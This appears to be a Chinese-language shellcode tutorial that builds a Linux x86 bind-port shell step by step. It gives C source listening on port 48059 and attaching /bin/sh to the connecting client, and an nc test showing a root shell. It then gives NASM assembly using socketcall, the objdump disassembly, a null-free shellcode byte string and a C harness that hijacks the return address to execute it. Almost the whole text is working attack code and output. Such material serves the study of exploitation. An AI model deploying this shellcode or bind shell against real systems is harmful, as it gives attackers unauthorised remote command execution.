示例C代码
#include<sys/socket.h> //构造socket所需的库
#include<netinet/in.h> //定义sockaddr结构
int main()
{
char *shell[2]; //用于execv调用
int server,client; //文件描述符句柄
struct sockaddr_in serv_addr; //保存IP/端口值的结构
server=socket(2,1,0); //建立一个本地IP socket,类型为stream(即tcp)
serv_addr.sin_addr.s_addr=0; //将socket的地址设置为所有本地地址
serv_addr.sin_port=0xBBBB; //设置socket的端口48059
serv_addr.sin_family=2; //设置协议族:IP
bind(server,(struct sockaddr *)&serv_addr,0x10); //绑定socket
listen(server,0); //进入监听状态,等待连接
client=accept(server,0,0); //当有连接时,向客户端返回句柄
//将client句柄连接到stdin、stdout、stderr
dup2(client,0); //将stdin连接client
dup2(client,1); //将stdout连接client
dup2(client,2); //将strderr连接到client
shell[0]="/bin/sh"; //execve的第一个参数
shell[1]=0; //数组的第二个元素为NULL,表示数组结束
execv(shell[0],shell,NULL); //建立一个shell
}
测试代码
nc 192.168.0.189 48059
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
(wheel)
思路整理:
综述前一节的内容,建立socket的基本步骤如下:
server=socket(2,1,0)
bind(server,(struct sockaddr *)&serv_addr,0x10)
listen(server,0)
client=accept(server,0,0)
dup2(client,0),dup2(client,1),dup2(client,2)
execv "bin/sh"
在转向汇编之前,需要知道
在linux中,socket是通过使用socketcall系统调用(102)实现的。socketcall系统调用有两个参数。
ebx整数值,定义在/usr/include/net.h中。为建立一基本的socket,只需要
SYS_SOCKET 1
SYS_BIND 2
SYS_CONNECT 3
SYS_LISTEN 4
SYS_ACCEPT 5
ecx一个指针,指向一个参数数组,用于所调用的特定函数
汇编代码:
section .text
global _start
_start:
xor eax,eax ;清空eax
xor ebx,ebx ;清空ebx
xor edx,edx ;清空edx
;server=socket(2,1,0)
push eax ;socket的第三个参数:0
push byte 0x1 ;socket的第二个参数:1
push byte 0x2 ;socket的第一个参数:2
mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
inc bl ;将socketcall的第一个参数设置为1
mov al,102 ;调用socketcall,分支调用号为1:SYS_SOCKET
int 0x80 ;进入核心态,执行系统调用
mov esi,eax ;将返回值(eax)存储到esi中(即server句柄)
;bind(server,(struct sockaddr *)&serv_addr,0x10)
push edx ;仍然为零,用作接下来压栈的数据的结束符
push long 0xBBBB02BB ;建立结构,端口:0xBBBB,sin.family:02,一个字节的任意值:BB
mov ecx,esp ;将结构的地址(在栈上),复制到ecx
push byte 0x10 ;开始bind的参数,首先将1个字节长度的数据16(长度)压栈
push ecx ;在栈上保存结构的地址
push esi ;将文件描述符server(现在是esi)保存到栈
mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
inc bl ;将b1设置为2,socketcall的第一个参数
mov al,102 ;调用socketcall,分支调用号为2:SYS_BIND
int 0x80 ;进入核心态,执行系统调用
;listen(server,0)
push edx ;仍然为0,用来作为接下来压栈的数据的结束符
push esi ;文件描述符server(esi)压栈
mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
mov bl,0x4 ;将bl设置为4,socketcall的第一个参数
mov al,102 ;调用socketcall,分支调用号为4:SYS_LISTEN
int 0x80 ;进入核心态,执行系统调用
;client=accept(server,0,0)
push edx ;仍然为零,将accept的第三个参数压栈
push edx ;仍然为零,将accept的第二个参数压栈
push esi ;将server文件的描述符压栈
mov ecx,esp ;将参数数组的地址放置到ecx中,用作socketcall的第二个参数
inc bl ;将bl设置为5,用作socketcall的第一个参数
mov al,102 ;调用socketcall,分支调用号为5:SYS_ACCEPT
int 0x80 ;进入核心态,执行系统调用
;为dup2命令作准备,将client文件句柄保存到ebx
mov ebx,eax ;将返回的文件描述符client复制到ebx
;dup2(client,0)
xor ecx,ecx ;清空ecx
mov al,63 ;将系统调用的第一个参数设置为63:dup
int 0x80 ;进行系统调用
;dup2(client,1)
inc ecx ;ecx设置为1
mov al,63 ;准备进行系统调用:dup2:63
int 0x80 ;进行系统调用
;dup2(client,2)
inc ecx ;ecx设置为2
mov al,63 ;准备进行系统调用:dup2:63
int 0x80 ;进行系统调用
;标准的execv("/bin/sh"...
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80
nasm -f elf bind_port_shell.asm
ld -o bind_port_shell bind_port_shell.o
下面生成十六进制代码
[root@FC1 root]# objdump -d ./bind_port_shell
./bind_port_shell: 文件格式 elf32-i386
反汇编 .text 节:
08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 31 db xor %ebx,%ebx
8048084: 31 d2 xor %edx,%edx
8048086: 50 push %eax
8048087: 6a 01 push $0x1
8048089: 6a 02 push $0x2
804808b: 89 e1 mov %esp,%ecx
804808d: fe c3 inc %bl
804808f: b0 66 mov $0x66,%al
8048091: cd 80 int $0x80
8048093: 89 c6 mov %eax,%esi
8048095: 52 push %edx
8048096: 68 bb 02 bb bb push $0xbbbb02bb
804809b: 89 e1 mov %esp,%ecx
804809d: 6a 10 push $0x10
804809f: 51 push %ecx
80480a0: 56 push %esi
80480a1: 89 e1 mov %esp,%ecx
80480a3: fe c3 inc %bl
80480a5: b0 66 mov $0x66,%al
80480a7: cd 80 int $0x80
80480a9: 52 push %edx
80480aa: 56 push %esi
80480ab: 89 e1 mov %esp,%ecx
80480ad: b3 04 mov $0x4,%bl
80480af: b0 66 mov $0x66,%al
80480b1: cd 80 int $0x80
80480b3: 52 push %edx
80480b4: 52 push %edx
80480b5: 56 push %esi
80480b6: 89 e1 mov %esp,%ecx
80480b8: fe c3 inc %bl
80480ba: b0 66 mov $0x66,%al
80480bc: cd 80 int $0x80
80480be: 89 c3 mov %eax,%ebx
80480c0: 31 c9 xor %ecx,%ecx
80480c2: b0 3f mov $0x3f,%al
80480c4: cd 80 int $0x80
80480c6: 41 inc %ecx
80480c7: b0 3f mov $0x3f,%al
80480c9: cd 80 int $0x80
80480cb: 41 inc %ecx
80480cc: b0 3f mov $0x3f,%al
80480ce: cd 80 int $0x80
80480d0: 52 push %edx
80480d1: 68 2f 2f 73 68 push $0x68732f2f
80480d6: 68 2f 62 69 6e push $0x6e69622f
80480db: 89 e3 mov %esp,%ebx
80480dd: 52 push %edx
80480de: 53 push %ebx
80480df: 89 e1 mov %esp,%ecx
80480e1: b0 0b mov $0xb,%al
80480e3: cd 80 int $0x80
目测检查没有NULL字符,下面测试shellcode
#include<stdio.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xbb\x02\xbb\xbb\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
void main(){
int *ret;
ret=(int *)&ret+2;
(*ret)=(int)shellcode;
}